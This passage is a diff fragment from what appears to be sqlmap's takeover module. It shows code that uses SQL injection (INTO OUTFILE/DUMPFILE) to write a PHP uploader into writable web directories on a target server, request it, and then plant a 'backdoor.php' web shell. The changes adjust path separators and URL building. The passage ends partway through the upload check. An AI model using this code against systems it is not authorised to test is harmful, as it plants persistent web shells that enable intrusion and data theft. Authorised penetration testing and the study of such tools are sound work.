logger.info(infoMsg) logger.info(infoMsg)
@ -139,34 +107,40 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
directories.sort() directories.sort()
uploaded = False uploaded = False
# TODO: backdoor and uploader extensions must be the same as of
# the web application language in use
backdoorName = "backdoor.php" backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php" uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
if kb.os == "Windows":
sep = "\\\\"
else:
sep = "/"
for directory in directories: for directory in directories:
if uploaded: if uploaded:
break break
# Upload the uploader agent # Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) query = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory, sep, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(" %s" % query) query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
page = Request.queryPage(payload) page = Request.queryPage(payload)
requestDir = directory.replace(kb.docRoot, "/").replace("\\", "/")
requestDir = os.path.normpath(requestDir)
if kb.docRoot: baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName) uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True) uploaderUrl = os.path.normpath(uploaderUrl)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page: if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader " warnMsg = "unable to upload the uploader "